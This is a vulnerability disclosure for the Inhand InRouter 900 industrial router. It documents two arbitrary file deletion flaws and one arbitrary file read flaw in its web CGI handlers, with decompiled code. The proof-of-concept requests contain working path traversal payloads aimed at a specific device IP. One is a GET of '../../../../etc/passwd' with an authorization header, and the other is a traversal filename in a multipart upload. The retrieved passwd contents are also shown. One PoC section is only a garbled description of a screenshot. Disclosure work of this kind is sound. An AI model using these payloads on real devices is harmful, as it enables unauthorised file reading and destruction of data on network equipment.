

Inhand InRouter 900 Industrial 4G Router Vulnerabilities(Arbitrary File Deletion and Read)

1.Arbitrary File Deletion

url: <http://IP/status-python-sdk.jsp>

In function **sub_17C08**, **v3** gets from **filename**, which is controlled by attacker.

```
39 v2 = (const char *)get_cgi_from_memory("type");
40 v3 = (char *)get_cgi_from_memory("filename");
41 if ( a1 )
42 {
43     if ( !strcmp(a1, "python.cgi") )
44         a1 = (const char *)get_cgi_from_memory("pyapp");
45     else
46         a1 = 0;
47 }
48 if ( !v2 || !*v2 )
49 {
50     syslog(7, "unknown upload type!");
51     return sub_11AAC("error.jsp");
52 }
53 if ( !v3 || !*v3 )
54 {
```

v3 will be deleted in some situation, and **v3** is never verified if reasonable.

```

264         else if ( mkdir(v29, 0x1FFu) )
265         {
266             v25 = *_errno_location();
267             v26 = strerror(v25);
268             syslog(3, "creat %s failed(%d:%s)", v29, v25, v26);
269             unlink(v3);
270             sub_11AAC("error.jsp");
271         }
272         v7 = _xpg_basename(v3);
273         syslog(6, "get file path %s/%s", v29, v7);
274         snprintf(v28, 0x80u, "rm -rf /var/app/cfg/%s/*", a1);
275         system(v28);
276         v36 = 0;
277         v33 = "-af";
278         v32 = "cp";
279         v34 = v3;
280         v35 = v29;
281         eval(&v32, 0, 0, 0);
282         unlink(v3);
283         v8 = _xpg_basename(v3);
284         snprintf(v31, 0x80u, "%s/%s", v29, v8);
285         snprintf(v30, 0x80u, "/var/app/cfg/%s.cfg", a1);
286         if ( strcmp(v31, v30) )
287         {
288             remove(v30);
289             symlink(v31, v30);
290         }
291         v9 = _xpg_basename(v3);
292         snprintf(v29, 0x80u, "%s/%s", v29, v9);
293         v35 = 0;
294         v33 = "777";
295         v32 = "chmod";
296         v34 = v29;
297         eval(&v32, 0, 0, 0);
298         sub_168B8("infomsg.pyapp_imcfg_ok");
299         goto LABEL_32;
300     }
301 }
302 syslog(7, "import unknown file: %s, %s!", v2, v3);
303 LABEL_65:
304     unlink(v3);
305     return sub_11AAC("error.jsp");
306 }

```

PoC:

```

web_cellular_advanced=0; web_status_alarm_refresh=0;
web_status_l2tp_refresh=3; web_f_mqtt_advanced=0; web_testemail=0;
web_loglines=50; web_status_ddns_refresh=0; web_tcpdumpiface=any;
web_tcpdumpcount=10; web_tcpdumpoption=2; web_status_system_refresh=0;
web_pingoption=22; web_status_openvpn_refresh=3; web_f_openvpn_advanced=
web_openvpn-id=1; web_session=20d18a28
Connection: close

-----WebKitFormBoundaryqMngbdRPdFNltudp
Content-Disposition: form-data; name="type"

python-ggg
-----WebKitFormBoundaryqMngbdRPdFNltudp
Content-Disposition: form-data; name="filename"; filename="
../../../../../../../../var/tmp/memory/passwd"
Content-Type: application/gzip

```

2.Arbitrary File Deletion

url: <http://IP/cert-mgr.jsp>

In function **sub_17C08**, **v3** gets from **filename**, which is controlled by attacker.

```
39 v2 = (const char *)get_cgi_from_memory("type");
40 v3 = (char *)get_cgi_from_memory("filename");
41 if ( a1 )
42 {
43     if ( !strcmp(a1, "python.cgi") )
44         a1 = (const char *)get_cgi_from_memory("pyapp");
45     else
46         a1 = 0;
47 }
48 if ( !v2 || !*v2 )
49 {
50     syslog(7, "unknown upload type!");
51     return sub_11AAC("error.jsp");
52 }
```

v3 will be deleted in some situation, and **v3** is never verified if reasonable.

```
66 eval(&v32, 0, 0, 0);
67 if ( validate_is_config("/tmp/web_import.conf") == 1 )
68 {
69     v11 = save_is_config("/tmp/web_import.conf");
70     backup_config_file(v11);
71     f_copy("/tmp/web_import.conf", "/etc/inos.conf");
72     unlink(v3);
73     unlink("/tmp/web_import.conf");
74     sub_105C4("info");
75     v10 = sub_11AAC("admin-reboot.jsp");
76 }
77 else
```

PoC:

The screenshot shows the Burp Suite interface with a target set to `http://202.99.27.22`. The 'Request' tab is active, showing a POST request to `/upload.cgi HTTP/1.1`. The 'Response' tab is also active, showing a 200 OK response from `http://www.v3.org/TR/`. The response body contains HTML with a JavaScript function named `reboot()` which calls `form.submit('reboot-form')` and `top.Dialog.closeInfo()`. The 'Inspector' panel on the right shows the raw response data.

3.Arbitrary File Read

In function **sub_177E0**, **get_cgi_from_memory** handler data that user input. **v29** compose **v14** and other text. **v29** is a complete path of cert file, obviously path traversal exists.

```
if ( !strcasecmp(v1, "root_ca") )
{
    v14 = get_cgi_from_memory("filename");
    syslog(7, "download root ca cert[%s]...", v14);
    snprintf(v29, 0x40u, "%s%s", "/var/backups/rootca/", v14);
    ret_right_page(200, 0, "Content-Type: application/octet-stream\r\n");
    syslog(6, "download root ca cert[%s]...", v29);
    if ( !down_file(v29) )
        return;
    goto LABEL_31;
}
```

PoC:

Burp Suite Community Edition v2020.12.1 - Temporary Project

Dashboard Target Proxy Repeater Sequencer Decoder Comparer Extender Project options User options

1 x 2 x 3 x 4 x 5 x 6 x ...

Send Cancel < >

Target: http://202.99.27.22

Request

Pretty Raw \n Actions

```
1 GET /running-config.cnf?type=root_ca&filename=../../../../etc/passwd
2 HTTP/1.1
3 Host: 202.99.27.22
4 Authorization: Basic YWhtOjYyMzQlNg==
5 Upgrade-Insecure-Requests: 1
6 DNT: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141
  Safari/537.36
8 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
9 Referer: http://202.99.27.22/admin-config.jsp?0.28589881145049234
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
12 Cookie: web_autosave=1; web_status_system_refresh=3;
  web_status_ipsec_refresh=0; web_loglines=all; web_status_log_refresh=
  0; web_pingcount=4; web_pingsize=32; web_pingoption=;
  web_status_l2tp_refresh=3; web_status_openvpn_refresh=3;
  web_f_openvpn_advanced=1; web_acl-modify=192-10; web_ipsec-tun-modify
  =IPsec2_202.99.27.78; web_f_mqtt_advanced=0; web_status_sla_refresh=3
  ; web_state=0; web_status_track_refresh=3; web_status_vrrp_refresh=3;
  web_status_backup_refresh=3; web_cellular_advanced=0;
  web_alarms_refresh=3; web_status_alarm_refresh=0; web_session=
  45a8d198; web_pingaddr=202.99.22.7
13 Connection: close
14 Content-Length: 0
15
```

Response

Pretty Raw Render \n Actions

```
1 HTTP/1.0 200 OK
2 Date: Mon, 18 Jan 2021 08:50:42 GMT
3 Content-Type: application/octet-stream
4 Content-Disposition: attachment
5 Cache-Control: no-cache, no-store, must-revalidate, private
6 Expires: Thu, 31 Dec 1970 00:00:00 GMT
7 Pragma: no-cache
8 Connection: close
9
10 root:x:0:0:root:/root:/usr/bin/cli
11 pyapp:x:600:600:pyapp:/var/app/sbin/nologin
12 sshd:x:74:74:Privilege-separated SSH:/sbin/ssh:/sbin/nologin
13 adm:x:0:15:root:/bin/sh
14 abc:x:0:1:root:/usr/bin/cli
15 nobody:x:65534:65534:nobody:/dev/null:/dev/null
16
```

0 matches 0 matches

Done 514 bytes | 6 millis